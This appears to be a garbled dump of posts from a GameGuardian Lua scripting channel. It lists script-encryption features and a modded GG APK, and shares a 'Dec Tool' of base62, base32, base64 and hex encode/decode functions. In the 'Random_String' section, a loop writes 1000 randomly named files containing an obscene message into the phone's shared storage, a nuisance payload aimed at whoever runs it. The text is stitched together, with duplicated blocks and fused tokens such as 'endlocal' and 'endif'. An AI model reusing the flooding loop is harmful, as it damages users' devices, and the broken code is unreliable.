Encrypted Lua GG ( Version 5.0 )
-- Hide - String
-- Hide - function
-- Fast Load
-- Hex2 + CharBase
-- BigLasm : 2GB
-- SSTool : 1-3
v .. / ..
-- Hide - String
-- Hide - function
-- Fast Load
-- Hex2 + CharBase
-- BigLasm : 2GB
-- SSTool : 1-3
v .. / ..
Lua ℅ Random_String
---------------
---------------
local function randString(len)
local chars = {}
for i = 1, len do
chars[i] = string.char(math.random(33,126))
end
return table.concat(chars)
end
print(randString(80))-- Rand_Name
-----
math.randomseed(os.time())
for i = 1 , 1000 do ---- 1000 file
randName = string.char(math.random(97,122),math.random(97,122),math.random(97,122),math.random(97,122),math.random(97,122),math.random(97,122))
io.open("/storage/emulated/0/"..randName,"w"):write("🥀 _Fuck You_ 🤣")
end-----
🥀 angela gg mod (2)_e.apk
15.6 MB
GG Mod v101.0
-- New Mod Background Alert
-- Fast LoadFile
-- debug.sethook - {}
-- debug.getupvalue - {}
v.... / ..... v
-- New Mod Background Alert
-- Fast LoadFile
-- debug.sethook - {}
-- debug.getupvalue - {}
v.... / ..... v
SS • Lua
Share Dec Tool ( TopGeo 9.1 ) Simple Version ?
#Dec Geo 9.1000.lua
1.4 KB
Dec Tool Geo v9.1000
---_😂_---
---_😂_---
local enc = "" --需要被加密的值
-------------------------------------------------------------------------
function encode(number)
local base = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
local index = number % 62 + 1
local result = base:sub(index, index)
local quotient = math.floor(number / 62)
while quotient ~= 0 do
index = quotient % 62 + 1
quotient = math.floor(quotient / 62)
result = base:sub(index, index) .. result
end
return result
end
print(encode(enc))
local dec = "" --需要被解密的值
------------------------------------------------------------------------
function decode(number)
local base = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
local char = number:sub(1, 1)
local result = base:find(char) - 1
local limit = number:len()
for i=2, limit do
result = 62 * result + (base:find(number:sub(i, i)) - 1)
end
return result
end
print(decode(dec))👍1
local enc = "" --需要被加密的值
----------------------------------
local function str_split(str, size)
local result = {}
for i=1, #str, size do
table.insert(result, str:sub(i, i + size - 1))
end
return result
end
local function dec2bin(num)
local result = ""
repeat
local halved = num / 2
local int, frac = math.modf(halved)
num = int
result = math.ceil(frac) .. result
until num == 0
return result
end
local function padRight(str, length, char)
while #str % length ~= 0 do
str = str .. char
end
return str
end
local base32Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
function base32_encode(str)
-- Create binary string zeropadded to eight bits
local binary = str:gsub(".", function (char)
return string.format("%08u", dec2bin(char:byte()))
end)
-- Split to five bit chunks and make sure last chunk has five bits
binary = str_split(binary, 5)
local last = table.remove(binary)
table.insert(binary, padRight(last, 5, "0"))
-- Convert each five bits to Base32 character
local encoded = {}
for i=1, #binary do
local num = tonumber(binary[i], 2)
table.insert(encoded, base32Alphabet:sub(num + 1, num + 1))
end
return padRight(table.concat(encoded), 8, "=")
end
print(base32_encode(enc))
local dec = "" --需要被解密的值
-----------------------------------------------------------
local function str_split(str, size)
local result = {}
for i=1, #str, size do
table.insert(result, str:sub(i, i + size - 1))
end
return result
end
local function dec2bin(num)
local result = ""
repeat
local halved = num / 2
local int, frac = math.modf(halved)
num = int
result = math.ceil(frac) .. result
until num == 0
return result
end
local function padRight(str, length, char)
while #str % length ~= 0 do
str = str .. char
end
return str
end
local base32Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
function base32_decode(str)
local binary = str:gsub(".", function (char)
if char == "=" then return "" end
local pos = string.find(base32Alphabet, char)
pos = pos - 1
return string.format("%05u", dec2bin(pos))
end)
local bytes = str_split(binary, 8)
local decoded = {}
for _, byte in pairs(bytes) do
table.insert(decoded, string.char(tonumber(byte, 2)))
end
return table.concat(decoded)
end
print(base32_decode(dec))--base64加密
function base64_encode(data)
local base64Table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
return ((data:gsub('.', function(x)
local r,b='',x:byte()
for i=8,1,-1 do r=r..(b%2^i-b%2^(i-1)>0 and '1' or '0') end
return r;
end)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x)
if (#x < 6) then return '' end
local c=0
for i=1,6 do c=c+(x:sub(i,i)=='1' and 2^(6-i) or 0) end
return base64Table:sub(c+1,c+1)
end)..({ '', '==', '=' })[#data%3+1])
end
--base64解密
function base64_decode(data)
local base64Table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
data = string.gsub(data, '[^'..base64Table..'=]', '')
return (data:gsub('.', function(x)
if (x == '=') then return '' end
local r,f='',(base64Table:find(x)-1)
for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end
return r;
end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
if (#x ~= 8) then return '' end
local c=0
for i=1,8 do c=c+(x:sub(i,i)=='1' and 2^(8-i) or 0) end
return string.char(c)
end))
endlocal function hex(str)
str = str:gsub("#[^\n]+", "") -- remove comments
str = str:gsub("[^%x]", "") -- hex only
return str:gsub("%x%x", -- hex to
function(hex) return string.char(tonumber(hex, 16))
end)
endif string.dump(function()end):sub(1, 12) ~= "\27Lua\81\0\1\4\4\4\8\0" then
gg.toast("This generator requires a 32-bit version of Lua 5.1")
end
gg.toast("This generator requires a 32-bit version of Lua 5.1")
end